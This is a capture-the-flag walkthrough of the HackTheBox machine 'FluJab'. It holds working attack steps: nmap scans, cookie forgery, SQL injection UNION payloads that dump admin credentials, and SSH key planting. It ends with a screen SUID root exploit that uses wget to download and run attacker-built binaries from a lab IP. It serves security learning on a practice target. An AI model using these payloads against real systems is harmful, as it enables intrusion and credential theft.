FluJab

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.124 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80,443,8080 10.10.10.124 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

As we can see in the nmap report, there a are a bunch of domain names. Let's add them to the /etc/hosts file.

nano /etc/hosts

The freeflujab.htb domain name shows the following website.

It has one registration form.

Let's try to register a new user.

We will get an error saying that the server could not connect to the mailserver on port 25.

If we try to access the cancellation page, we'll get an error in the URL because we are not registered.

https://freeflujab.htb/?ERROR=NOT_REGISTERED

Exploitation

If curl the site, we'll see that it is setting three cookies.

curl https://freeflujab.htb/ -k -I

The Patient cookie looks like an identifier hash. On the other hand, the Modus and Registered cookies are URL and base64 encoded.

echo "Q29uZmlndXJlPU51bGw=" | base64 -d; echo ""; echo "Yjc2MTQ2M2I3ZTQ0NGY0ZDdkMDRhMjNhNmZjMGYwMzc9TnVsbA==" | base64 -d

Both cookies are set to Null. Let's change it to True.

echo "Configure=True" | tr -d "\n" | base64; echo "b761463b7e444f4d7d04a23a6fc0f037=True" | tr -d "\n" | base64

Now, by changing the cookies, we'll be able to access the cancellation page.

If we take a look back at the curl request, we'll see that the Modus cookie has the path variable set to /?smtp_config. This shows a page where we can configure the SMTP server.

There is a link to a whitelist, but right now it is empty.

Let's set an SMTP server with python.

python -m smtpd -c DebuggingServer 10.10.14.8:25

We won't be able to add our IP address as the SMTP server because the input field has a pattern configured.

But, as this restriction is from the client side, we can delete it.

Now our IP address appears in the whitelist.

Try to cancel an appointment, intercept the request with BurpSuite, and send it to the repeater. If we send the request, we'll see an email in our SMTP server.

Let's try to see if the nhsnum parameter is vulnerable to SQL injection. It looks like it is vulnerable, and the current table has five columns. The third column gets represented in the email subject.

Let's get the name of the database.

nhsnum=' union select 1,2,database(),4,5-- -&submit=Cancel+Appointment

The vaccinations database has the following tables.

nhsnum=' UNION SELECT 1,2,group_concat(table_name),4,5 FROM information_schema.tables WHERE table_schema="vaccinations"-- -&submit=Cancel+Appointment

The most interesting one is the admin table, with the following column names.

nhsnum=' UNION SELECT 1,2,group_concat(column_name),4,5 FROM information_schema.columns WHERE table_schema="vaccinations" AND table_name="admin"-- -&submit=Cancel+Appointment

Let's get the loginname, email, access and passwords fields.

nhsnum=' UNION SELECT 1,2,concat(loginname,":",email,":",access,":",password),4,5 FROM vaccinations.admin-- -&submit=Cancel+Appointment

As we can see, the sysadm user has access to sysadmin-console-01.flujab.htb. Let's add this new domain name to the /etc/hosts file.

nano /etc/hosts

The password hash can be cracked with crackstation.

The freeflujab.htb domain name shows the following login page on port 8080.

Once logged in, we'll see that the Notepad tool allows us to load files from the server.

We can't log in via SSH with as sysadm with the credentials that we have.

ssh sysadm@10.10.10.124

This might happen because of some SSH configuration. Load the /etc/hosts.allow file, and add our IP address and the localhost address. Then save the file.

Now, we get a different error.

ssh sysadm@10.10.10.124

We could try to log in using SSH keys instead. To do it, we need to create the /home/sysadm/access file with our public SSH key.

cat ~/.ssh/id_rsa.pub | tr -d '\n' | xclip -sel clip

Open a file, delete all the content, paste our public SSH key, and save it as access in /home/sysadm.

The file needs to have the right permissions to work. We can do it using Ajenti API with the /chmod endpoint.

Finally, we are able to log in via SSH.

ssh sysadm@10.10.10.124

As we can see, we are currently in a restricted bash.

ifconfig

We can bypass this restriction easily.

ssh sysadm@10.10.10.124 bash

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command on our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

Let's find SUID binaries.

find / -perm /4000 2>/dev/null

I found this exploit on exploitdb, which indicates how to get a shell as root with the screen binary with the SUID permission. First, let's create on our machine the libhax.c file, and add the following code.

nano libhax.c

Then, compile it.

gcc -fPIC -shared -ldl -o libhax.so libhax.c

Now, let's create the rootshell.c file, which will give us the shell as root.

nano rootshell.c

And also compile it.

gcc -o rootshell rootshell.c

Then, we'll have to transfer the libhax.so file and rootshell files to the haircut machine. Let's set a simple HTTP server with python on the current directory.

python -m http.server 80

Then, on the victim machine, let's go to the /tmp directory, and download both files from our HTTP server.

cd /tmp

wget http://10.10.14.8/libhax.so

wget http://10.10.14.8/rootshell

chmod +x *

Then go to the /etc directory on the victim machine and execute the following commands.

cd /etc

umask 000

/usr/local/share/screen/screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"

/usr/local/share/screen/screen -ls

Finally, if we execute the rootshell file of the /tmp folder, we'll get a shell as root, and all we have to do is reap the harvest and take the root flag.

/tmp/rootshell

Last updated

Was this helpful?